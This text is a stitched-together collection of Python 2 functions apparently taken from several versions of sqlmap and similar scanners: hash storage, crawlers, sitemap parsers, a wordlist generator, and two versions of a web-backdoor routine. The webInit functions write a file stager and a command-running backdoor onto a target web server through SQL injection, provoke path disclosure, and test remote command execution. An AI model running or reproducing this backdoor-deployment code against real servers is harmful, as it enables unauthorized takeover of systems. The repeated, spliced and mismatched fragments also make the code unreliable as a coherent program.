def storeHashesToFile(attack_dict):
if not attack_dict:
return
items = oset()
for user, hashes in attack_dict.items():
for hash_ in hashes:
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
if hash_ and hash_ != NULL and hashRecognition(hash_):
item = None
if user and not user.startswith(DUMMY_USER_PREFIX):
item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING))
else:
item = "%s\n" % hash_.encode(UNICODE_ENCODING)
if item and item not in items:
items.add(item)
if kb.storeHashesChoice is None:
message = "do you want to store hashes to a temporary file "
message += "for eventual further processing with other tools [y/N] "
kb.storeHashesChoice = readInput(message, default='N', boolean=True)
if items and kb.storeHashesChoice:
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt")
os.close(handle)
infoMsg = "writing hashes to a temporary file '%s' " % filename
logger.info(infoMsg)
with open(filename, "w+") as f:
for item in items:
f.write(item)
def storeHashesToFile(attack_dict):
if not attack_dict:
return
items = oset()
for user, hashes in attack_dict.items():
for hash_ in hashes:
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
if hash_ and hash_ != NULL and hashRecognition(hash_):
item = None
if user and not user.startswith(DUMMY_USER_PREFIX):
item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING))
else:
item = "%s\n" % hash_.encode(UNICODE_ENCODING)
if item and item not in items:
items.add(item)
if kb.storeHashesChoice is None:
message = "do you want to store hashes to a temporary file "
message += "for eventual further processing with other tools [y/N] "
kb.storeHashesChoice = readInput(message, default='N', boolean=True)
if items and kb.storeHashesChoice:
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt")
os.close(handle)
infoMsg = "writing hashes to a temporary file '%s' " % filename
logger.info(infoMsg)
with open(filename, "w+") as f:
for item in items:
f.write(item)
def crawl(target):
try:
visited = set()
threadData = getCurrentThreadData()
threadData.shared.value = oset()
def crawlThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
if threadData.shared.unprocessed:
current = threadData.shared.unprocessed.pop()
if current in visited:
continue
else:
visited.add(current)
else:
break
content = None
try:
if current:
content = Request.getPage(url=current,
crawling=True,
raise404=False)[0]
except SqlmapConnectionException, e:
errMsg = "connection exception detected (%s). skipping " % e
errMsg += "URL '%s'" % current
logger.critical(errMsg)
except httplib.InvalidURL, e:
errMsg = "invalid URL detected (%s). skipping " % e
errMsg += "URL '%s'" % current
logger.critical(errMsg)
def crawl(target):
try:
threadData = getCurrentThreadData()
threadData.shared.value = oset()
def crawlThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
if threadData.shared.unprocessed:
current = threadData.shared.unprocessed.pop()
else:
break
content = None
try:
if current:
content = Request.getPage(url=current, crawling=True, raise404=False)[0]
except SqlmapConnectionException, e:
errMsg = "connection exception detected (%s). skipping " % e
errMsg += "url '%s'" % current
logger.critical(errMsg)
except httplib.InvalidURL, e:
errMsg = "invalid url detected (%s). skipping " % e
errMsg += "url '%s'" % current
logger.critical(errMsg)
def parseSitemap(url, retVal=None):
global abortedFlag
if retVal is not None:
logger.debug("parsing sitemap '%s'" % url)
try:
if retVal is None:
abortedFlag = False
retVal = oset()
content = Request.getPage(url=url,
raise404=True)[0] if not abortedFlag else ""
for match in re.finditer(r"<loc>\s*([^<]+)", content):
if abortedFlag:
break
url = match.group(1).strip()
if url.endswith(".xml") and "sitemap" in url.lower():
if kb.followSitemapRecursion is None:
message = "sitemap recursion detected. Do you want to follow? [y/N] "
test = readInput(message, default="N")
kb.followSitemapRecursion = test[0] in ("y", "Y")
if kb.followSitemapRecursion:
parseSitemap(url, retVal)
else:
retVal.add(url)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during sitemap parsing. sqlmap "
warnMsg += "will use partial list"
logger.warn(warnMsg)
return retVal
def parseSitemap(url, retVal=None):
global abortedFlag
if retVal is not None:
logger.debug("parsing sitemap '%s'" % url)
try:
if retVal is None:
abortedFlag = False
retVal = oset()
content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
for match in re.finditer(r"<loc>\s*([^<]+)", content):
if abortedFlag:
break
url = match.group(1).strip()
if url.endswith(".xml") and "sitemap" in url.lower():
if kb.followSitemapRecursion is None:
message = "sitemap recursion detected. Do you want to follow? [y/N] "
test = readInput(message, default="N")
kb.followSitemapRecursion = test[0] in ("y", "Y")
if kb.followSitemapRecursion:
parseSitemap(url, retVal)
else:
retVal.add(url)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during sitemap parsing. sqlmap "
warnMsg += "will use partial list"
logger.warn(warnMsg)
return retVal
def getTargetUrls(self):
try:
threadData = getCurrentThreadData()
threadData.shared.outputs = oset()
def crawlThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limits:
if threadData.shared.unprocessed:
current = threadData.shared.unprocessed.pop()
else:
break
content = None
try:
if current:
content = Request.getPage(url=current,
crawling=True,
raise404=False)[0]
except SqlmapConnectionException, e:
errMsg = "connection exception detected (%s). skipping " % e
errMsg += "url '%s'" % current
logger.critical(errMsg)
except httplib.InvalidURL, e:
errMsg = "invalid url detected (%s). skipping " % e
errMsg += "url '%s'" % current
logger.critical(errMsg)
def generate(self):
"""
@brief 1. If keyword %EXT% is found -->
Append lines with REPLACED extension
2. If keyword %EXT% not found & is File-->
Append lines with REPLACED extension & one line with '/'
3. If The keyword %EXT% not found & is Directory -->
Append lines as they were
@result Generate The 'self.entries'
"""
result = []
for line in self.dictionaryFile.getLines():
if line.lstrip().startswith("#"):
continue # Skip All Comments In The Dict
# Process The Preset Wordlist
# --> Replace Every Preset %EXT% With Target Extension
# e.g. about.%EXT% -> about.php
# access_admin.%EXT% -> access_admin.php
if "%EXT%" in line:
for extension in self._extensions:
# Replace "EXT" to Given Extension
quoted = self.urlQuote(line.replace('%EXT%', extension))
result.append(quoted)
# No "%EXT%" & forcedExtensions == True & Is File (Not Ended With '/')
elif self._forcedExtensions and not line.rstrip().endswith("/"):
quoted = self.urlQuote(line)
for extension in self._extensions:
if extension.strip() == '': # No extension is given
result.append(quoted)
else: # Append the given extension
result.append(quoted + '.' + extension)
if quoted.strip() not in ['']:
result.append(quoted + "/")
else: # Append lines as they were
result.append(self.urlQuote(line))
# "oset" library provides inserted ordered and unique collection
if self.lowercase:
self.entries = list(oset(map(lambda l: l.lower(), result)))
else:
self.entries = list(oset(result))
del (result)
def crawl(target):
try:
f = set()
ext_hosts = set()
visited = set()
threadData = getCurrentThreadData()
threadData.shared.value = oset()
def crawlThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
if threadData.shared.unprocessed:
current = threadData.shared.unprocessed.pop()
if current in visited:
continue
elif conf.crawlExclude and re.search(
conf.crawlExclude, current):
dbgMsg = "skipping '%s'" % current
logger.debug(dbgMsg)
continue
else:
visited.add(current)
else:
break
content = None
try:
if current:
content = Request.getPage(url=current,
crawling=True,
raise404=False)[0]
global count
if count > 100:
print
"more than 100 I do not like"
break
else:
count += 1
except SqlmapConnectionException, ex:
errMsg = "connection exception detected (%s). skipping " % getSafeExString(
ex)
errMsg += "URL '%s'" % current
logger.critical(errMsg)
except SqlmapSyntaxException:
errMsg = "invalid URL detected. skipping '%s'" % current
logger.critical(errMsg)
except httplib.InvalidURL, ex:
errMsg = "invalid URL detected (%s). skipping " % getSafeExString(
ex)
errMsg += "URL '%s'" % current
logger.critical(errMsg)
def __init__(self, pocs):
baseCmd.__init__(self)
if IS_WIN:
colorInit()
self.shellPrompt = "\033[01;35msheep>script>runPocs>\033[0m"
self.allPocs = pocs
self.targets = Queue.Queue()
self.mixTargets = Queue.Queue()
self.ip = None
self.file = None
self.url = None
self.threadsun = 1
self.pocModule = {}
self.results = oset()
def _execute(self):
kb.results = oset()
_setHTTPUserAgent()
_setHTTPReferer()
_setHTTPCookies()
_setHTTPTimeout()
registerPocFromDict()
pocViolation()
setMultipleTarget()
_setHTTPProxy()
start()
def _execute(self):
kb.results = oset()
_setHTTPUserAgent()
_setHTTPReferer()
_setHTTPCookies()
_setHTTPTimeout()
registerPocFromFile()
pocViolation()
setMultipleTarget()
_setHTTPProxy()
start()
def parseSitemap(url, retVal=None):
global abortedFlag
if retVal is not None:
logger.debug("parsing sitemap '%s'" % url)
try:
if retVal is None:
abortedFlag = False
retVal = oset()
try:
content = Request.getPage(
url=url, raise404=True)[0] if not abortedFlag else ""
except httplib.InvalidURL:
errMsg = "invalid URL given for sitemap ('%s')" % url
raise SqlmapSyntaxException, errMsg
for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
if abortedFlag:
break
url = match.group(1).strip()
if url.endswith(".xml") and "sitemap" in url.lower():
if kb.followSitemapRecursion is None:
message = "sitemap recursion detected. Do you want to follow? [y/N] "
kb.followSitemapRecursion = readInput(message,
default='N',
boolean=True)
if kb.followSitemapRecursion:
parseSitemap(url, retVal)
else:
retVal.add(url)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during sitemap parsing. sqlmap "
warnMsg += "will use partial list"
logger.warn(warnMsg)
return retVal
def crawl(target):
try:
visited = set()
threadData = getCurrentThreadData()
threadData.shared.value = oset()
def crawlThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
if threadData.shared.unprocessed:
current = threadData.shared.unprocessed.pop()
if current in visited:
continue
elif conf.crawlExclude and re.search(conf.crawlExclude, current):
dbgMsg = "skipping '%s'" % current
logger.debug(dbgMsg)
continue
else:
visited.add(current)
else:
break
content = None
try:
if current:
content = Request.getPage(url=current, crawling=True, raise404=False)[0]
except SqlmapConnectionException, ex:
errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex)
errMsg += "URL '%s'" % current
logger.critical(errMsg)
except SqlmapSyntaxException:
errMsg = "invalid URL detected. skipping '%s'" % current
logger.critical(errMsg)
except httplib.InvalidURL, ex:
errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex)
errMsg += "URL '%s'" % current
logger.critical(errMsg)
def crawl(target):
try:
visited = set()
threadData = getCurrentThreadData()
threadData.shared.value = oset()
def crawlThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
if threadData.shared.unprocessed:
current = threadData.shared.unprocessed.pop()
if current in visited:
continue
elif conf.crawlExclude and re.search(conf.crawlExclude, current):
dbgMsg = "skipping '%s'" % current
logger.debug(dbgMsg)
continue
else:
visited.add(current)
else:
break
content = None
try:
if current:
content = Request.getPage(url=current, crawling=True, raise404=False)[0]
except SqlmapConnectionException, ex:
errMsg = u"检测到连接异常(%s)，" % getSafeExString(ex)
errMsg += u"跳过网址 '%s'" % current
logger.critical(errMsg)
except SqlmapSyntaxException:
errMsg = u"检测到无效的网址，跳过 '%s'" % current
logger.critical(errMsg)
except httplib.InvalidURL, ex:
errMsg = u"检测到无效的网址(%s) " % getSafeExString(ex)
errMsg += u"跳过网址 '%s'" % current
logger.critical(errMsg)
def parseSitemap(url, retVal=None):
global abortedFlag
if retVal is not None:
logger.debug("parsing sitemap '%s'" % url)
try:
if retVal is None:
abortedFlag = False
retVal = oset()
try:
content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
except httplib.InvalidURL:
errMsg = "invalid URL given for sitemap ('%s')" % url
raise SqlmapSyntaxException(errMsg)
for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
if abortedFlag:
break
url = match.group(1).strip()
if url.endswith(".xml") and "sitemap" in url.lower():
if kb.followSitemapRecursion is None:
message = "sitemap recursion detected. Do you want to follow? [y/N] "
kb.followSitemapRecursion = readInput(message, default='N', boolean=True)
if kb.followSitemapRecursion:
parseSitemap(url, retVal)
else:
retVal.add(url)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during sitemap parsing. sqlmap "
warnMsg += "will use partial list"
logger.warn(warnMsg)
return retVal
def initializeKb():
kb.targets = Queue.Queue()
kb.pocFiles = set()
kb.results = oset()
kb.registeredPocs = {}
def __init__(self, script_path):
self.script_path = script_path
self.parseConfig() # Load The Local Preset Config First
# Load The Command Line Passed In Arguments, Override Default Config
args = self.parseArguments()
# Load Command Line Passed In URL (List)
if args.url is None:
# If Using URL List
if args.urlList is not None:
with FileOps(args.urlList) as urlList:
# Exit Scanner If URL List Can't Be Loaded
if not urlList.exists(): # Existence Check
print("The URL List is Missing...")
exit(0)
if not urlList.isValid(): # Validation Check
print("The URL List is Invalid...")
exit(0)
if not urlList.canRead(): # Readability Check
print("The URL List is Not Readable...")
exit(0)
# Call getLines() Method In FileOps Module
# Parse The URL List Into The Scanner
self.urlList = list(urlList.getLines())
else: # Missing Target URL --> Exit
print(
"Target URL (List) is Missing ...\n" +
"Restart The Scanner With Proper '[-u|--url] <Target URL>' Usage\n"
)
exit(0)
else: # No Passed In URL --> Set to None
self.urlList = [args.url]
# Check Command Line Extensions
if args.extensions is None:
print("At Least One Extension Must Be Specified\n" +
"Exiting...\n")
exit(0)
# Exit Scanner If Wordlist Can't Be Loaded
with FileOps(args.wordlist) as wordlist:
if not wordlist.exists():
print("Wordlist is Missing...")
exit(0)
if not wordlist.isValid():
print("The Wordlist is Invalid...")
exit(0)
if not wordlist.canRead():
print("The Wordlist is Not Readable...")
exit(0)
# Load The Custom HTTP Proxy
if args.httpProxy is not None:
if args.httpProxy.startswith('http://'):
self.proxy = args.httpProxy
else:
self.proxy = 'http://{0}'.format(args.httpProxy)
else:
self.proxy = None
# Threads Number Must >= 1
if args.numThreads < 1:
print("Must Have At Least 1 Thread, Please Restart...")
exit(0)
self.numThreads = args.numThreads
# Load The Custom Headers
if args.headers is not None:
try:
self.headers = dict(
(key.strip(), value.strip())
for (key, value) in (header.split(':', 1)
for header in args.headers))
except Exception:
print("Invalid Headers...")
exit(0)
else:
self.headers = {}
# Load The Custom Excluded Status Codes
if args.excludeStatusCodes is not None:
try:
self.excludeStatusCodes = list(
oset([
int(excludeStatusCode.strip())
if excludeStatusCode else None for excludeStatusCode in
args.excludeStatusCodes.split(',')
]))
except ValueError:
self.excludeStatusCodes = []
else:
self.excludeStatusCodes = []
# Load The Subdirs of Website
if args.scanSubdirs is not None:
self.scanSubdirs = list(
# Using Third Party --> oset/pyoset Module
oset([
subdir.strip() for subdir in args.scanSubdirs.split(',')
]))
# Strip All '/' From The Custom Sub Directories
for i in range(len(self.scanSubdirs)):
while self.scanSubdirs[i].startswith("/"): # Front
self.scanSubdirs[i] = self.scanSubdirs[i][1:]
while self.scanSubdirs[i].endswith("/"): # End
self.scanSubdirs[i] = self.scanSubdirs[i][:-1]
# Add Backslash for Each Sub Directories
self.scanSubdirs = list(
oset([subdir + "/" for subdir in self.scanSubdirs]))
else:
self.scanSubdirs = None
# Load The Exluded Sub Directories
# Must Be Used In Conjunction With Recursive Mode
if args.excludeSubdirs is not None:
if not args.recursive:
print(
"Be Aware: Exclude Dirs Must Be Used In Conjunction With Recursive Mode (-r|--recursive)"
)
exit(0)
else: # Load The Excluded Sub Directories
self.excludeSubdirs = list(
oset([
subdir.strip()
for subdir in args.excludeSubdirs.split(',')
]))
# Strip All '/' From The Custom Sub Directories
for i in range(len(self.excludeSubdirs)):
while self.excludeSubdirs[i].startswith("/"):
self.excludeSubdirs[i] = self.excludeSubdirs[i][1:]
while self.excludeSubdirs[i].endswith("/"):
self.excludeSubdirs[i] = self.excludeSubdirs[i][:-1]
self.excludeSubdirs = list(oset(self.excludeSubdirs))
else:
self.excludeSubdirs = None
# Initialize The Reminants Down Below
# Mandatory Section Arguments
self.extensions = list(
oset([
extension.strip() for extension in args.extensions.split(',')
]))
# Connection Section Arguments
self.timeout = args.timeout
self.ip = args.ip
self.maxRetries = args.maxRetries
self.requestByHostname = args.requestByHostname
# Optional Section Arguments
self.delay = args.delay
self.recursive = args.recursive
self.suppressEmpty = args.suppressEmpty
self.cookie = args.cookie
self.userAgent = args.userAgent
self.useRandomAgents = args.useRandomAgents
self.redirect = args.noFollowRedirects
# Reports Section Arguments
self.simpleOutputFile = args.simpleOutputFile
self.plainTextOutputFile = args.plainTextOutputFile
self.jsonOutputFile = args.jsonOutputFile
# Dictionary Section Arguments
self.wordlist = args.wordlist
self.lowercase = args.lowercase
self.forceExtensions = args.forceExtensions
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage, re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = mkstemp()
os.fdopen(handle).close() # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
